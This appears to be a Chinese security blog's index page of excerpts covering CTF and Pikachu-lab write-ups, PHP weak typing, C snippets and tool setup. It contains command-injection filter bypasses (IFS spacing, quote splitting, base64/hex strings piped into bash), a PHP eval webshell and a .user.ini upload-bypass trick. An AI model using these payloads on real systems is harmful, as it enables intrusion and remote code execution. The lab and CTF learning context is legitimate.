PHP
windows设置PHP环境变量:https://juejin.cn/post/6960915229744037896
使用命令行运行PHP脚本文件:https://www.cnblogs.com/liuwangqingnian/p/16578933.html
Bypass
过滤空格
12345678$IFS${IFS}//IFS首选$IFS$9<<>{cat,flag.php}//用逗号实现了空格功能,需要用{}括起来%20%09 (tab功能)
过滤关键字
1234567891011ca\t fla\g.php 反斜杠绕过cat fl''ag.php 两个单引号绕过echo "c3lzdGVtKCJjYXQgZmxhZy5waHAiKQ==" | base64 -d | bash base64编码绕过echo "c3lzdGVtKCJjYXQgZmxhZy5waHAiKQ==" | base64 -d | sh (如果过滤了bash,可以用sh)echo "73797374656d282263617420666c61672e7068702229" | xxd -r -p | bash hex编码绕过cat fl[a]g.php 用[]匹配cat fla* 用[]匹配任意cat fla?c ...
PHP弱类型
数字与字符串比较比较操作符:**===**:在比较之前,会比较两边的类型是否相同,若相同再进行比较
**==**:在比较时,若两边类型不同,且一边是字符串或含有数字的字符串,另一边是数字,那么会将字符串转换为数字再进行比较
例如:
12341admin==1 //true1a23==123 //flaseadmin==0 //true0e123456==0e56789 //true
在进行字符串和数字的弱类型比较时,字符串的一开始部分就决定了它的值,
当数字后出现e或E时,系统会将其视为科学计算法,例如0e123456==0e56789=0
CTF之md5绕过md5绕过主要使用了科学计数法的原理
12345678910$md51 = md5('QNKCDZO');//md5=0e830400451993494058024219903391$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != ...
ctfshow
信息泄露1.web6题目描述:1解压源码到当前目录,测试正常,收工
解题:访问/www.zip
2.web8题目描述:1发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
解题查看源代码,抓包,扫描目录都无结果
由题目可知,在使用vim编辑过程中会产生缓存文件,若出现死机等不正常退出则会将这个文件保存起来。
第一次退出后缓存文件名为**.index.php.swp**;
第二次退出后缓存文件名为**.index.php.swo**;
第三次退出后缓存文件名为**.index.php.swn**;
尝试访问/index.php.swp
成功下载该缓存文件,得到flag
3.web11题目描述:1域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息
解题:进入Google搜索域名解析查询工具,利用在线工具搜索flag.ctfshow.com的txt记录,获取flag
TXT 记录:
允许网站管理员在 DNS 记录中插入任意文本。
4.web13题目描述:1技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
解题:打开 ...
攻防世界
easyupload题目信息:
解题过程:上传正常的jpg图片,成功上传
上传含有php的一句话木马的php文件,失败
将php文件后缀名改成jpg后再上传,失败
将php文件内容的开头加上GIF89a,再上传,失败
改写php文件中的一句话木马,过滤掉php字眼,如下:
12GIF89a<?=eval($_POST['cmd']);?>
一样没用
上传.user.ini文件,将content-type后的内容改成image/jpg,上传成功
.user.ini的内容
12GIF89a auto_prepend_file=eval.jpg//将eval.jpg包含在php.ini配置文件里
后再上传修改了后缀名的php文件,上传成功
利用f12(网络那一栏)来查看路径
使用蚁剑连接,就可以找到flag了
知识点:
图片上传getshell要考虑绕过的点
文件名后缀
文件内容添加图片格式的文件头
文件内容php字符串的绕过
修改上传时的content-type信息,改为image/jpg
. ...
C语言
1.数字与字符的相互转换
将整型数字转换为字符:
123char a;int b=9;a=b+'0';
将字符转换为整型数字:
12int a;a='x'-'0';
递归斐波那契数列12345678910111213141516171819202122#include<stdio.h>int fibonacci(int n);int main(){ int n,result; scanf("%d",&n); result=fibonacci(n); printf("%d",result); return 0;}int fibonacci(int n){ if(n<0) return 0; if(n==1||n==2) return 1; else{ return fibonacci(n-1)+fibonacci(n-2); }}
n的阶层1234567891011121 ...
Pikachu靶场全篇
暴力破解概述“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。
为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp; 3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等); ...
Pikachu靶场之越权漏洞
一、概述 越权漏洞是指由于应用在检查授权时存在纰漏,攻击者在获得低权限账号后,利用一些方式绕过权限检查,能够访问或操作其他用户或更高权限。
该漏洞的成因主要是因为开发者在对数据进行增删改查时客户端请求的数据过分相信而遗漏了权限的判定。在实际的代码审计中,这种漏洞往往很难通过工具进行自动化监测,因此在实际应用中危害很大。
目前主要存在两种越权操作类型:横向越权操作(水平越权)和纵向越权操作(垂直越权)。
水平越权:只相同权限下的用户可以互相访问
垂直越权:使用权限低的可以访问到权限高的
二、实战1.水平越权先登录一个账号:lili 123456
然后点击查看个人信息
发现url发生了改变
由于是水平越权,试一下能否通过url来获得其他用户的信息
将用户名lili改为kobe
成功以lili的身份获得kobe的身份
2.垂直越权先登录我们的超级会员admin,再添加用户,对添加到用户抓包,再发送给repeater
在登陆普通用户:pikachu 000000
发现我们刚刚添加的用户已经添加成功
对登录的状态进行抓包,然后将该普通用户cookie复制,替换掉刚刚r ...
the use of my tool
1. dirsearch下载以及安装方法点击这里
安装好了后:
2.PHPStromPHP环境配置:https://www.jb51.net/program/2984938lb.htm#_lab2_1_1
运行PHP文件
3.PycharmPyCharm 安装教程
4.ffuf安装:https://blog.csdn.net/qq_43717836/article/details/131663693
使用:https://blog.csdn.net/weixin_44288604/article/details/128444485?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-128444485-blog-120473487.235^v43^pc_blog_bottom_relevance_base8&spm=1001.2101.3001.4242.1&utm_relevant_index=1
Pikachu靶场之文件包含/上传/下载
一、文件包含漏洞1.概述什么是文件包含?
简单来说,就是一个文件包含另一个文件
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞存在在PHP、web、Application脚本中居多,在JSP、ASP 中很少甚至没有,问题在于语言设计的弊端。
比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。
文件包含漏洞分类:
PHP 中的文件包含分为本地文件包含和远程文件包含。
更多细节点击这里
2.本地文件包含(Local File Include)LFI
打开pikachu靶场:
1.读取同一文件夹的文件
文件名以参数的方式直接在url上显示
按个提交查询,发现url上只显示1~5的文件名,是否还存在file6?
当然我们可以直接在url上修改成file6,结果如下:
果然存在。
同时,我们也可以利用bp直接爆破,
很明显,file6的长度很不一样,接下来直接修改url,跟上面一样
在这里我们可以直接在它的根目录下传入一个文件,然后再通过修改url ...